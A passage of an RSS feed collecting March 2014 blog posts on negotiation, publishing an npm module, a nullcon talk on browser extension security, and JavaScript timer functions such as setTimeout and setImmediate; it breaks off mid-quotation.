&lt;p&gt;Not only does this short exercise exemplify the difference between motion and action, but if you want to get more confident in public, this is a ridiculous but effective method.&lt;/p&gt;

&lt;p&gt;I’m trying to keep my eye out for other equally effective short cuts to obtain real-world experience doing difficult/uncomfortable things. If you have ideas, send ‘em my way. I won’t commit to anything, but I’m open to just about everything.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sun, 16 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2014/03/16/act-a-fool-or-motion-vs-action/</guid></item><item><title>MC Hammer and the Art of Negotiation</title><link>https://jonpauluritis.com/articles/mc-hammer-and-the-art-of-negotiation/</link><description>&lt;p&gt;Clearly I have an avid fascination with weird celebrity business stories. One of my all time favorites is MC Hammer. This one is a quick read too…&lt;/p&gt;
&lt;p&gt;MC Hammer is actually known best for his series of poor business decisions (example basically blowing all of his money keeping an large entourage 200+, and a touring staff of something like 50 dancers… the entertainment industry equivalent of magic beans), but at one point he had sold over 50 million records worldwide and was making up to $35 million a year. Credit where credit is due, Hammer was legitimately good at making money (alas, not saving it).&lt;/p&gt;
&lt;p&gt;To me though the most interesting part of MC Hammer’s story was way in the beginning, long before his $15 million dollar house with a swimming pool built in the shape of trousers. Hammer got his start by convincing dance clubs to let him and his dancers perform songs from his records live in the club. Meaning they would go to a club, throw a song on and dance to it. The spectacle was such a big deal that everyone in the clubs would clammer to buy his records that day. He was literally selling records out of the trunk of his car. MC Hammer was selling a lot of them too…&lt;/p&gt;
&lt;p&gt;Hammer knew that if  he wanted to scale his business up though he would need to have access to a larger distribution channel. It’s important to note that the music industry at that point hadn’t yet been completely destroyed by technology (napster, itunes, bit torrents, etc) and they were pretty agile.  It wasn’t too long before the music companies had heard about MC Hammer and sent reps to go try and make a deal. Standard practice at this point was to find the talent before anyone else did and have them sign off on contracts that were not in their favor. Basically, take advantage of naive artists before they knew any better and cash in on their success. The record labels were the ones that were going to make you famous though- for many people trading all their cash to be famous was worth it.&lt;/p&gt;
&lt;p&gt;MC Hammer knew all of this. So when the first major labels came in to try and make a deal, he was prepared. They of course made a low offer thinking that they would clean up. Hammer refused the offer. The record labels were stunned… they had offered good money to sign Hammer  and he said it wasn’t enough. [ Just for some scope… pretend someone came to you and offered you $750,000 (today’s dollars) for a 3 record deal… Most everyone would jump on that deal]&lt;/p&gt;
&lt;p&gt;What the record labels failed to realize was that MC Hammer was selling a ridiculous amount of records out of the trunk of his car (estimated around 60,000).  Basically he had already worked himself out of being a new artist to being a nice little cash cow, and the record labels were effectively insulting him with a really low offer. Capitol records later came back to the table with $1.5 million as an advance and a multi-record deal.&lt;/p&gt;
&lt;p&gt;I basically use the MC Hammer negotiation method for almost all of my negotiations (I don’t call it that):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Be Prepared. Be so prepared that you know more about what the negotiation will look like than anyone else participating in it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If possible make them come to you.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Use hard data. Hammer’s decision was entirely based off of his sales numbers. His negotiation reflected what he was really after was a larger market and to scale his business up… he didn’t need the money. Conversely the record companies were so used to using cash as their best negotiation tool they were caught off guard when Hammer’s negotiation didn’t reflect their normal procedures.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Be able to walk away from any deal.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Remember that terms are a huge part of any negotiation.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Don’t be afraid to ask for over the top things.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Negotiate to get what you want&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you find someone that can sell 60,000 records out of the back of their car. Hire that person&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;</description><author>JonPaulUritis.com</author><pubDate>Sun, 16 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://jonpauluritis.com/articles/mc-hammer-and-the-art-of-negotiation/</guid></item><item><title>Building Things with Raspberry Pi</title><link>https://peanball.net/2014/03/other-raspberry-pi-usecases/</link><description/><author>peanball.net</author><pubDate>Sun, 16 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://peanball.net/2014/03/other-raspberry-pi-usecases/</guid></item><item><title>Photographic memory</title><link>https://blog.steren.fr/2014/03/16/photographic-memory/</link><author>Steren's essays</author><pubDate>Sun, 16 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.steren.fr/2014/03/16/photographic-memory/</guid></item><item><title>The Only Answer</title><link>http://patrickrhone.com/2014/03/13/the-only-answer/</link><description>&lt;p&gt;No.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://patrickrhone.com/2014/03/13/the-only-answer/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 15 Mar 2014 13:19:48 GMT</pubDate><guid isPermaLink="true">http://patrickrhone.com/2014/03/13/the-only-answer/</guid></item><item><title>Screenshot Saturday 162</title><link>https://etodd.io/2014/03/14/screenshot-saturday-162/</link><description>&lt;p&gt;The Kickstarter for Lemma launches on Monday! Keep an eye out, and tell your friends!&lt;/p&gt;
&lt;p&gt;Prepare yourself for tons of giant GIFs. You can click each one to watch a much faster HTML5 version (can't wait until the internet ecosystem finally lets us embed HTML5 gifs...)&lt;/p&gt;
&lt;p&gt;This week I revamped the materials... again. Check it out:&lt;/p&gt;
&lt;p&gt;&lt;div class="video"&gt;&lt;video loop="loop"&gt;&lt;source src="https://etodd.io/assets/HomelyWeirdBlackmamba.mp4" /&gt;&lt;/video&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;It had some interesting implications for the "snake" enemy:&lt;/p&gt;
&lt;p&gt;&lt;div class="video"&gt;&lt;video loop="loop"&gt;&lt;source src="https://etodd.io/assets/RawCraftyAmericancrocodile.mp4" /&gt;&lt;/video&gt;&lt;/div&gt;&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 15 Mar 2014 00:17:22 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/03/14/screenshot-saturday-162/</guid></item><item><title>A tediously accurate map of the solar system</title><link>http://joshworth.com/dev/pixelspace/pixelspace_solarsystem.html</link><description>&lt;p&gt;Very, very cool project from Josh Worth&amp;#160;&amp;#8212;&amp;#160;both technically, and as a source of perspective for how vast space really is, and how small the earth&amp;#160;&amp;#8212;&amp;#160;and, by extension, we&amp;#160;&amp;#8212;&amp;#160;are.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://joshworth.com/dev/pixelspace/pixelspace_solarsystem.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 14 Mar 2014 18:40:45 GMT</pubDate><guid isPermaLink="true">http://joshworth.com/dev/pixelspace/pixelspace_solarsystem.html</guid></item><item><title>Flappy Bird Creator Dong Nguyen Speaks Out</title><link>http://www.rollingstone.com/culture/news/the-flight-of-the-birdman-flappy-bird-creator-dong-nguyen-speaks-out-20140311</link><description>&lt;p&gt;Nice to finally have some closure on this subject. I never got into Flappy Bird&amp;#160;&amp;#8212;&amp;#160;I never even downloaded the game&amp;#160;&amp;#8212;&amp;#160;but I couldn&amp;#8217;t help but get sucked into the &amp;#8220;discussion&amp;#8221;&amp;#160;&amp;#8212;&amp;#160;and I use that term loosely here&amp;#160;&amp;#8212;&amp;#160;around the game, especially after its creator took Flappy Bird down at the peak of its popularity. I wish him good luck in the future; he has been remarkably blessed, and I have no doubt he will make good use of that good fortune.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.rollingstone.com/culture/news/the-flight-of-the-birdman-flappy-bird-creator-dong-nguyen-speaks-out-20140311"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 14 Mar 2014 18:05:01 GMT</pubDate><guid isPermaLink="true">http://www.rollingstone.com/culture/news/the-flight-of-the-birdman-flappy-bird-creator-dong-nguyen-speaks-out-20140311</guid></item><item><title>RFC5218, RSVP-TE and Segment Routing.</title><link>https://rob.sh/post/207/</link><description>&lt;p&gt;After my &lt;a href="https://rob.sh/post/206"&gt;presentation at UKNOF on SR&lt;/a&gt;, &lt;a href="https://blogs.cisco.com/tag/mark-townsley/"&gt;Mark Townsley&lt;/a&gt; asked me whether I'd be interested in presenting to his class at the Ecole Polytechnique in Paris, around the thinking (from an ops perspective) of delivering the 5218 concept of "net positive value" through the SR technology, and how the existing protocols that are available might measure up against the criteria that 5218 gives us to consider. We managed to co-ordinate logistics, and I presented to INF566 on Wednesday afternoon, which was a really cool experience. It's always nice to see how networking is taught, and hear from students in such a high-ranking uni. I've included the slides below for posterity - Mark filmed the presentation, so perhaps there'll be video at some point in the future!&lt;/p&gt;</description><author>rob.sh</author><pubDate>Fri, 14 Mar 2014 14:30:00 GMT</pubDate><guid isPermaLink="true">https://rob.sh/post/207/</guid></item><item><title>What's in a Buzzword</title><link>https://daniellittle.dev/whats-in-a-buzzword</link><description>It's sometimes tempting to dismiss things as the next Fad or Buzzword. There's never enough time to learn everything and some things are…</description><author>Daniel Little Dev</author><pubDate>Fri, 14 Mar 2014 13:08:12 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/whats-in-a-buzzword</guid></item><item><title>How many Christians will participate to DFD2014?</title><link>https://stop.zona-m.net/2014/03/how-many-christians-will-participate-to-dfd2014/</link><description>&lt;p&gt;The title says it all. The &lt;a href="http://documentfreedom.org/"&gt;Document Freedom Day&lt;/a&gt; &lt;em&gt;&amp;ldquo;celebrates the importance of Open Standards for all electronic documents, whether public or private&amp;rdquo;&lt;/em&gt;. And these are the reasons why all Catholics, and all Christians in general, should promote this kind of event and take an active part in it:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 14 Mar 2014 10:10:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2014/03/how-many-christians-will-participate-to-dfd2014/</guid></item><item><title>Enterprise Search 2014</title><link>https://www.danstroot.com/posts/2014-03-14-enterprise-search-2014</link><description>&lt;img alt="post image" src="https://danstroot.imgix.net/assets/blog/img/google_appliance.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;One of the challenges in a large distributed enterprise is "finding stuff".  Sure we call it collaboration, knowledge management, or any number of other sophisticated terms but often it boils down to just finding stuff. To compensate the organization reacts by saving multiple copies and versions of a file in many different locations: email, shared file systems, intranets, etc.  Of course this compounds the issue and drives the desire to save "my copy" to "somewhere where I can find it".&lt;br /&gt;&lt;br /&gt;This post &lt;a href="https://www.danstroot.com/posts/2014-03-14-enterprise-search-2014"&gt;Enterprise Search 2014&lt;/a&gt; first appeared on &lt;a href="https://www.danstroot.com"&gt;Dan Stroot's Blog&lt;/a&gt;</description><author>Dan Stroot</author><pubDate>Fri, 14 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.danstroot.com/posts/2014-03-14-enterprise-search-2014</guid></item><item><title>Create and publish an NPM module</title><link>https://danielpecos.com/2014/03/13/create-publish-npm-module/</link><description>&lt;p&gt;&lt;img alt="npm" class="alignleft " height="70" src="https://danielpecos.com/assets/2014/03/npm-300x116.png" width="180" /&gt;Code modularization, achieved in one way or another, is a technique a good developer must aim for because it helps keeping things small, well-tested and organized. And of course, it follows the DRY directive. So as a Node.js developer (and &lt;em&gt;maybe&lt;/em&gt; contributor to the Open Source), creating and publishing an NPM module is one of those steps you will eventually face.&lt;/p&gt;
&lt;p&gt;Probably if any Node.js developer would have to pick an indispensable tool of the ecosystem, &lt;em&gt;&lt;a href="https://www.npmjs.org"&gt;npm&lt;/a&gt;&lt;/em&gt; would win by far. Its greatness resides in how much easy is to build applications using on of several modules, each of them providing one certain functionality, as if they were building bricks, picking the right tool for each task.&lt;/p&gt;
&lt;p&gt;But, how difficult is the process of creating an NPM module? Well, here is a cheat sheet to get this done:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Create a directory with the name of the module and place your code in it. How you structure your content is up to you. The index file will define your external API (module’s exports), the functionality other developers can reach of your module.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you never logged in into &lt;em&gt;npm&lt;/em&gt; (usually you don’t need to do it unless you want to push some content into NPM repository), this would be your next step:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ npm adduser

$ npm login
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href="https://danielpecos.com/assets/2014/03/Screenshot-from-2014-03-13-192924.png"&gt;&lt;img alt="NPM - login" class="aligncenter size-medium" height="173" src="https://danielpecos.com/assets/2014/03/Screenshot-from-2014-03-13-192924-300x173.png" width="300" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Initialize your module and fill in the required information:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ npm init
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href="https://danielpecos.com/assets/2014/03/Screenshot-from-2014-03-13-193445.png" rel="attachment wp-att-272"&gt;&lt;img alt="NPM - init" class="aligncenter size-medium" height="221" src="https://danielpecos.com/assets/2014/03/Screenshot-from-2014-03-13-193445-300x221.png" width="300" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Don’t forget to install all your dependencies so they appear in the package.json manifest:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ npm install whaterver-module --save
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Once you have set up your package.json file, you’re ready to make it public. &lt;strong&gt;Increase the version number&lt;/strong&gt; of you module and publish it:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ npm publish
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href="https://danielpecos.com/assets/2014/03/Screenshot-from-2014-03-13-193605.png" rel="attachment wp-att-273"&gt;&lt;img alt="NPM - publish" class="aligncenter" height="102" src="https://danielpecos.com/assets/2014/03/Screenshot-from-2014-03-13-193605-300x102.png" width="300" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Now you’ll be able to find it in the NPM repository:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ npm search test-module-dpecos
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href="https://danielpecos.com/assets/2014/03/Screenshot-from-2014-03-13-194020.png" rel="attachment wp-att-274"&gt;&lt;img alt="NPM - search" class="aligncenter size-medium" height="118" src="https://danielpecos.com/assets/2014/03/Screenshot-from-2014-03-13-194020-300x118.png" width="300" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Optionally, tag your GIT repository with current version number. It makes easier to guess what was included with each release of your module.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;And that’s it!, your package will soon appear in NPM registry search results (it it hasn’t already), allowing other developers to find and use it.&lt;/p&gt;
&lt;p&gt;Whenever you want to publish and update of one of your already published modules, these are the steps you should follow:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Increase your module’s version number&lt;/li&gt;
&lt;li&gt;Publish it again&lt;/li&gt;
&lt;li&gt;Optionally, tag your GIT repository with current version number&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You have to take care about version numbers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You can’t repeat them&lt;/li&gt;
&lt;li&gt;You can’t publish a lower version number than the previously published version&lt;/li&gt;
&lt;li&gt;You can follow any scheme to designate your version number, but &lt;a href="http://en.wikipedia.org/wiki/Software_versioning"&gt;there are some of them&lt;/a&gt; considered standard&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But sometimes, software gets old, deprecated or replaced by a better one. If, sadly, this is the case for your module, you can remove it from NPM registry with these command:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ npm unpublish
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href="https://danielpecos.com/assets/2014/03/Screenshot-from-2014-03-13-194233.png" rel="attachment wp-att-275"&gt;&lt;img alt="NPM - unpublish" class="aligncenter size-medium" height="118" src="https://danielpecos.com/assets/2014/03/Screenshot-from-2014-03-13-194233-300x118.png" width="300" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And it will be gone forever 🙁&lt;/p&gt;
&lt;p&gt;If you want to get an deeper knowledge of npm commands, I recommend you to visit the official &lt;a href="https://www.npmjs.org/doc/"&gt;CLI docs.&lt;/a&gt;&lt;/p&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Thu, 13 Mar 2014 19:07:28 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2014/03/13/create-publish-npm-module/</guid></item><item><title>My experience at nullcon 2014</title><link>https://captnemo.in/blog/2014/03/13/nullcon-experience/</link><description>&lt;p&gt;I was recently a speaker at &lt;a href="http://nullcon.net/website/"&gt;nullcon 2014&lt;/a&gt;, a premier infosec conference
in India. My talk was a re-hash of &lt;a href="https://speakerdeck.com/captn3m0/a-security-analysis-of-browser-extensions"&gt;my earlier talk&lt;/a&gt; at Deloitte CCTC-2
and was titled &lt;em&gt;“Browser Extension Security”&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;I applied for the CFP sometime in November with a copy of my talk, paper and
code I’d used. My application was reviewed and I was told, accepted under the
night-track on 13th February.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://speakerdeck.com/captn3m0/browser-extension-security"&gt;talk itself&lt;/a&gt; covered browser security mechanisms, and where the
current state of art lies (Chrome) with respect to Browser Extensions. The talk
was pretty well received (even though I sweated a lot onstage), and a lot
of attendees came up to me to discuss it further after the talk.&lt;/p&gt;

&lt;p&gt;The paper behind the talk, and the related source code can be found on &lt;a href="https://github.com/captn3m0/nullcon2014/"&gt;GitHub&lt;/a&gt;.
Create a new issue or send me an email in case you have any queries. ~The tool demo
I gave during the talk can be found at http://nullcon.captnemo.in~ (Not available anymore). Note, however
that it currently uses cached data to check for permissions, and is not a LIVE tool.&lt;/p&gt;

&lt;p&gt;nullcon was my first conference, and I’m glad to say I enjoyed it very much. From
the great hosts to the amazing parties, and all the free booze, I loved it all.
I made a lot of friends, and I plan on keeping in touch. The networking level
was amazing at the conference, and I was happy to get in touch with so many guys
in the industry, so to speak.&lt;/p&gt;

&lt;p&gt;A lot of people queried me about future research on the topic, and while I currently
do not have enough time to pursue it, its on my radar of things to do. I’m also
thinking of getting in touch with the Chrome Security Team with my research.&lt;/p&gt;

&lt;p&gt;As an aside, a big thanks to &lt;a href="https://twitter.com/rushil92"&gt;Rushil&lt;/a&gt; for helping me in the first version
of the paper for CCTC. It won’t have been possible without him.&lt;/p&gt;

&lt;p&gt;##Some Clicks&lt;/p&gt;



&lt;p&gt;I’m still waiting on receiving official clicks from nullcon. Will update this
post when I get my hands on them.&lt;/p&gt;</description><author>Nemo's Home</author><pubDate>Thu, 13 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://captnemo.in/blog/2014/03/13/nullcon-experience/</guid></item><item><title>setTimeout and Friends</title><link>https://peterlyons.com/problog/2014/03/settimeout-and-friends/</link><description>&lt;p&gt;So I was recently scheduled to do an &lt;a href="http://airpair.com"&gt;AirPair&lt;/a&gt; pair programming session to help someone understand the various javascript functions available for asynchronous programming.&lt;/p&gt;
&lt;p&gt;This topic is key to writing correct code both in node.js and the browser, but it is indeed easy to see how things can be quite confusing when first encountering a myriad of functions that all seem to basically do the same thing.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;setTimeout&lt;/code&gt;, &lt;code&gt;setImmediate&lt;/code&gt;, &lt;code&gt;process.nextTick&lt;/code&gt;? Which one is best? What are the differences?&lt;/p&gt;
&lt;p&gt;The basic concept at work here is normally in javascript your code executes "now" meaning line by line, one thing after another, until there's no more code. However, with a user interacting with the browser or with node.js code responding to HTTP requests, we need a way to ask the runtime to run some code "later".  And of course using event handlers we already have a mechanism to ask the runtime to execute our code "whenever X happens" where X is a mouse click, keystroke, etc in the browser or a database call returning in node.js.&lt;/p&gt;
&lt;p&gt;So I went and researched this and put together what I hope to be a mostly comprehensive overview of all of the relevant functions and some of the tricky points to be aware of. The good news is mostly this stuff is actually pretty straightforward once you get the basic handle of it, and there are just a few key subtle gotchas that take a little more practice to wrangle.&lt;/p&gt;
&lt;h2 id="settimeout-functiontocall-mstowait"&gt;&lt;code&gt;setTimeout(functionToCall, msToWait)&lt;/code&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Read the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Window.setTimeout"&gt;window.setTimeout MDN docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;works in browsers and node.js&lt;/li&gt;
&lt;li&gt;invoke the given function some time later, on a different tick of the event loop&lt;/li&gt;
&lt;li&gt;returns an opaque value (numeric ID) that can be later passed to &lt;code&gt;clearTimeout&lt;/code&gt; to cancel the scheduled call&lt;/li&gt;
&lt;li&gt;subject to 4ms "clamping" in HTML5 spec (see MDN docs above) and this is even worse in old-IE. What this means if you write &lt;code&gt;setTimeout(makeCookies, 0)&lt;/code&gt;, the browser will actually wait at least 4ms before invoking &lt;code&gt;makeCookies&lt;/code&gt;. This use of &lt;code&gt;setTimeout&lt;/code&gt; with zero delay is basically a hack since there is/was not &lt;code&gt;setImmediate&lt;/code&gt; and can be easily abused, so browsers (and the actual specs) have deemed to throttle things by a few ms as a pragmatic compromise.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="cleartimeout-timeoutid"&gt;&lt;code&gt;clearTimeout(timeoutID)&lt;/code&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Read the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/window.clearTimeout"&gt;window.clearTimeout MDN docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;works in browsers and node.js&lt;/li&gt;
&lt;li&gt;cancel a previous call to &lt;code&gt;setTimout&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;straightforward&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="setinterval-functiontocall-intervalms"&gt;&lt;code&gt;setInterval(functionToCall, intervalMs)&lt;/code&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Read the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval"&gt;window.setInterval MDN docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;works in browsers and node.js&lt;/li&gt;
&lt;li&gt;similar to &lt;code&gt;setTimeout&lt;/code&gt;, just calls function repeatedly&lt;/li&gt;
&lt;li&gt;inactive browser tabs may be throttled compared to active tabs&lt;/li&gt;
&lt;li&gt;Watch out for overlapping invocations. Use recursive &lt;code&gt;setTimeout&lt;/code&gt; instead if work could take longer to complete than the delay interval (don't start the work again if you're not finished with the last batch of work yet). This is discussed in more detail in the MDN docs linked above.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="clearinterval-intervalid"&gt;&lt;code&gt;clearInterval(intervalID)&lt;/code&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;same as &lt;code&gt;clearTimeout&lt;/code&gt; just pairs with &lt;code&gt;setInterval&lt;/code&gt; instead&lt;/li&gt;
&lt;li&gt;straightforward&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="process-nexttick-functiontocall"&gt;&lt;code&gt;process.nextTick(functionToCall)&lt;/code&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;works in node.js only, not standard for browsers&lt;/li&gt;
&lt;li&gt;Read the &lt;a href="http://nodejs.org/docs/latest/api/all.html#all_process_nexttick_callback"&gt;process.nextTick docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Up to 1000 of these (configurable as &lt;code&gt;process.maxTickDepth&lt;/code&gt;) will all happen in a row before any I/O is allowed to interject. Thus misusing &lt;code&gt;nextTick&lt;/code&gt; can starve the system of I/O and cause performance degradation&lt;/li&gt;
&lt;li&gt;OK to use in code that has to work on node v0.8 or older, just be cautious to not do an onslaught of these that will cause your program to become I/O starved.&lt;/li&gt;
&lt;li&gt;But generally in node.js &lt;code&gt;setImmediate&lt;/code&gt; should be preferred&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="setimmediate"&gt;&lt;code&gt;setImmediate&lt;/code&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;works in node.js v0.10 or newer only, not standard for browsers (except IE10 and IE11)&lt;/li&gt;
&lt;li&gt;no &lt;code&gt;window&lt;/code&gt; global object in node, so &lt;code&gt;setImmediate&lt;/code&gt; can be directly called&lt;/li&gt;
&lt;li&gt;Read the &lt;a href="http://nodejs.org/api/all.html#all_setimmediate_callback_arg"&gt;node.js setImmediate docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Read the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Window.setImmediate"&gt;MDN window.setImmediate docs here&lt;/a&gt;, which basically say "yeah this doesn't exist. Don't use it."&lt;/li&gt;
&lt;li&gt;schedules a function to be invoked after the rest of the javascript in the current tick runs, but before doing more I/O&lt;/li&gt;
&lt;li&gt;the main difference in node.js compared with &lt;code&gt;process.nextTick&lt;/code&gt; is &lt;code&gt;setImmediate&lt;/code&gt; will run your callback and then allow I/O (and the associated callbacks) to get a chance to run, and then move on to the next queued &lt;code&gt;setImmediate&lt;/code&gt; callback&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ie.microsoft.com/testdrive/Performance/setImmediateSorting/Default.html"&gt;This demo&lt;/a&gt; explains the difference between &lt;code&gt;setTimeout&lt;/code&gt; and &lt;code&gt;setImmediate&lt;/code&gt; in Internet Explorer best&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="clearimmediate"&gt;&lt;code&gt;clearImmediate&lt;/code&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;works in node.js and IO only, not standard for browsers&lt;/li&gt;
&lt;li&gt;otherwise exactly analogous to &lt;code&gt;clearTimeout&lt;/code&gt; and &lt;code&gt;clearInterval&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;straightforward&lt;/li&gt;
&lt;li&gt;&lt;a href="http://nodejs.org/docs/latest/api/all.html#all_clearimmediate_immediateobject"&gt;node.js docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Window.clearImmediate"&gt;MDN docs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="naming-stuff-is-hard-izs"&gt;"naming stuff is hard" --@izs&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;setImmediate&lt;/code&gt; happens on the NEXT tick.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;process.nextTick&lt;/code&gt; happens on the SAME tick (usually, with caveat about &lt;code&gt;maxTickDepth&lt;/code&gt;).&lt;/p&gt;
&lt;h2 id="which-one-to-use-in-node-js"&gt;Which one to use in node.js&lt;/h2&gt;
&lt;p&gt;Generally &lt;code&gt;setImmediate&lt;/code&gt; is the best practice starting with node.js v0.10, so that's what you should use. However, if you need to support node v0.8, using &lt;code&gt;process.nextTick&lt;/code&gt; is still fine. The whole problem of I/O starvation doesn't occur in most projects. It's only in certain types of code that are either misguided and poorly coded or truly have a weird edge case. For your run-of-the-mill node.js callback, either is just fine but &lt;code&gt;setImmediate&lt;/code&gt; is better.&lt;/p&gt;
&lt;h1 id="reference-articles"&gt;Reference Articles&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://nodejs.org/api/timers.html"&gt;The node.js Timers documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.nczonline.net/blog/2013/07/09/the-case-for-setimmediate/"&gt;The Case for setImmediate&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://stackoverflow.com/questions/15349733/setimmediate-vs-nexttick"&gt;setImmediate vs nextTick&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/NobleJS/setImmediate"&gt;A cross-browser implementation of the new setImmediate API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.izs.me/post/59142742143/designing-apis-for-asynchrony"&gt;Designing APIs for Asynchrony&lt;/a&gt; - Isaac's blog post featuring the key phrase "&lt;strong&gt;Do Not Release Zalgo&lt;/strong&gt;"
&lt;ul&gt;
&lt;li&gt;In this post Isaac refers strongly to &lt;a href="http://blog.ometer.com/2011/07/24/callbacks-synchronous-and-asynchronous/"&gt;callbacks, synchronous and asynchronous&lt;/a&gt; by havoc&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Isaac Schlueter's comment on &lt;strong&gt;The Case for setImmediate&lt;/strong&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I agree the point you’re making here, 100%. However, a slight correction about Node’s APIs.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;First of all, process.nextTick is actually first in, first out. Proof:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;$ node -e 'process.nextTick(console.log.bind(console, 1)); process.nextTick(console.log.bind(console, 2))'
1
2&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
